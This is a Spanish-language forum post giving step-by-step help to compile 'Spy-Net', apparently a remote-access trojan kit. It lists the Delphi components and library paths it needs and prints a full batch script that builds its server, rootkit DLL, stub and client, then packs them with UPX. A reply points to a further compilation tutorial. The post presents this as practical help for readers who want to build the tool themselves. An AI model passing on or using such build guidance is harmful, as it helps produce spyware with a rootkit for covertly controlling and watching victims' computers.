he logrado compilarlo con Delphi 7 y sin errores
Me ha costado un poco pues estaba muy oxidado con Delphi, hace años que no lo toco,
lo mío es el VB y el C++, pero parece que esto es como montar en bicicleta y no te
olvidas de lo principal.
Como un post sin imágenes es muy aburrido os pongo aquí el proyecto cargado en mi Delphi y a
continuación una pequeña ayuda para los que empiezan con Delphi y quieren compilarlo.
Los componentes que he usado han sido los siguientes:
Compilado con Delphi 7 Second Edition v7.2
Componentes:
CoolTrayIcon v4.4.0
Graphics32 v1-9-0-r1336
Indy 9.0.4 beta
madCollection v2.6.0.0
MSNPopUp v5.0
El script batch lo he cambiado pues el fuente lo he tocado para quitar algunos Warnings, y
es que el código base no está optimizado en nada, está muy poco documentado, esto es
un error grave pues hace que actualizarlo sea un calvario, un código sin orden y el uso de
componentes de terceros hace poco coherente el proyecto.
De todas formas, el file manager, el editor de registro y el escritorio remoto es lo que está
mejor programado, el resto es una unión de diversos fuentes públicos, siendo gran parte de
Coolvibes e Institution 2004, el proyecto en sí no tiene desperdicio si alguien se toma en
serio ponerlo todo en orden.
Por cierto, el problema que tiene la gente para compilarlo es lo que tiene cualquier proyecto
Delphi de terceros, las dependencias de los componentes: después de instalar los componentes
configurad bien el IDE para que el compilador encuentre los componentes y unidades:
Por ejemplo, mi Library y Browsing Path es este:
Código: Seleccionar todo
$(DELPHI)\Lib;$(DELPHI)\Bin;$(DELPHI)\Imports;$(DELPHI)\Projects\Bpl;F:\Archivos de programa\Delphi7SE\Lib\CoolTrayIcon;F:\Archivos de programa\Delphi7SE\Lib\D7;F:\Archivos de programa\Delphi7SE\Lib\Indy 9;F:\Archivos de programa\Delphi7SE\Lib\Debug;F:\Archivos de programa\Delphi7SE\Lib\Delphi2;F:\Archivos de programa\Delphi7SE\Lib\Graphics32;F:\Archivos de programa\Delphi7SE\Lib\madCollection\madBasic\Delphi 7;F:\Archivos de programa\Delphi7SE\Lib\madCollection\madKernel\Delphi 7;F:\Archivos de programa\Delphi7SE\Lib\madCollection\madSecurity\Delphi 7;F:\Archivos de programa\Delphi7SE\Lib\madCollection\madShell\Delphi 7;F:\Archivos de programa\Delphi7SE\Lib\MsnPopup
carpeta Servidor\Plugin el archivo dcc32.cfg con lo siguiente:
Código: Seleccionar todo
-u"F:\Archivos de programa\Delphi7SE\lib";"F:\Archivos de programa\Delphi7SE\lib\Obj";"F:\Archivos de programa\Delphi7SE\Lib\Indy 9";"F:\Archivos de programa\Delphi7SE\Lib\CoolTrayIcon";"F:\Archivos de programa\Delphi7SE\Lib\Graphics32";"F:\Archivos de programa\Delphi7SE\Lib\madCollection\madBasic\Sources"
carpeta que tiene las unidades comunes del proyecto (es que he cambiado algo la organización
interna del proyecto), en mi sistema lo tengo instalado en la unidad F, vosotros cambiarlo por
la ruta de vuestra instalación.
Igualmente antes de compilar en el IDE le decís que mire en esa carpeta y la ZLib que hay
dentro también (Project | Options | Directories/Conditionals | Search Path)
El batch para compilar lo he movido a la carpeta principal del proyecto (subir un nivel desde
la carpeta Cliente) y lo he modificado, este es el script que he usado:
Código: Seleccionar todo
@echo off
cls
echo.
echo ////////////////////////////////////////////////
echo //////////////// SPY - NET ////////////////////
echo ////////////////////////////////////////////////
echo.
echo.
echo Antes de continuar, verificar si DEBUG continua activo
echo.
echo.
pause
:Limpieza
REM
REM ------------------------------
REM - Eliminar archivos antiguos -
REM ------------------------------
cd Cliente
del Funcoes.dll
del RootKIT.dll
del Server.dll
del SQLite3.dll
del SpyNet.exe
del Stub.exe
del Language\Default.ini
del Profiles\Novo*.ini
del Settings\Settings.ini
del Funcoes.res
del GeoIP.res
del Image.res
del Language.res
del Profile.res
del RootKIT.res
del Server.res
del Settings.res
del Sound.res
del SQLite3.res
del Stub.res
del UPX.res
del Sound.wav
REM
REM ------------------------------------
REM - FIN (Eliminar archivos antiguos) -
REM ------------------------------------
cd..
cls
:Servidor
echo.
echo ******************
echo * Crear Servidor *
echo ******************
cd Servidor
echo.
echo - Compilar Plugin -
echo -------------------
cd Plugin
"F:\Archivos de programa\Delphi7SE\Bin\dcc32.exe" Funcoes.dpr
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd..
echo.
echo - Compilar Servidor y RootKIT -
echo -------------------------------
cd Server
"F:\Archivos de programa\Delphi7SE\Bin\dcc32.exe" Server.dpr
"F:\Archivos de programa\Delphi7SE\Bin\dcc32.exe" RootKIT.dpr
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd Plugin
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd..
cd RootKIT
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd..
cd..
echo.
echo - Compilar Stub -
echo -----------------
cd Stub
"F:\Archivos de programa\Delphi7SE\Bin\dcc32.exe" Stub.dpr
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd Password
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
cd..
cd..
cd..
echo.
echo - Comprimir Plugin, Servidor y RootKIT -
echo ----------------------------------------
cd Cliente
UPX.exe -9 -f Funcoes.dll
UPX.exe -9 -f RootKIT.dll
UPX.exe -9 -f Server.dll
REM
REM ************************
REM * FIN (Crear Servidor) *
REM ************************
cd..
:Cliente
echo.
echo *****************
echo * Crear Cliente *
echo *****************
cd Cliente
echo.
echo - Generar recursos -
echo --------------------
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Funcoes.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" GeoIP.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Image.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Language.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Profile.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" RootKIT.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Server.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Settings.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Sound.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" SQLite3.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" Stub.rc
"F:\Archivos de programa\Delphi7SE\Bin\brcc32.exe" UPX.rc
echo.
echo - Compilar Cliente -
echo --------------------
"F:\Archivos de programa\Delphi7SE\Bin\dcc32.exe" SpyNet.dpr
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
del Funcoes.dll
del RootKIT.dll
del Server.dll
del Stub.exe
echo.
echo - Comprimir Cliente -
echo ---------------------
UPX.exe -9 -f SpyNet.exe
REM
REM ***********************
REM * FIN (Crear Cliente) *
REM ***********************
cd..
:Clean
REM
REM -------------------
REM - Eliminar restos -
REM -------------------
cd Library
del *.~ddp
del *.~dfm
del *.~dpr
del *.~pas
del *.dcu
del *.ddp
REM
REM -------------------------
REM - FIN (Eliminar Restos) -
REM -------------------------
cd..
:End
Pause
Buena ayuda para los que no sepan instalar componentes, aunque prefiero instalar los componentes
en el directorio del IDE de Delphi...
Bueno yo creo que ya tenéis una buena ayuda recopilada, espero que os sea útilBoneThugz escribió:Os dejo un tutorial de counterstrikewi para aquellos que habeis tenido problemas al compilarlo. Saludos brothaz
Compiling SN 2.7 from pure Delphi Source Code by counterstrikewi: [Enlace externo eliminado para invitados]
[...]
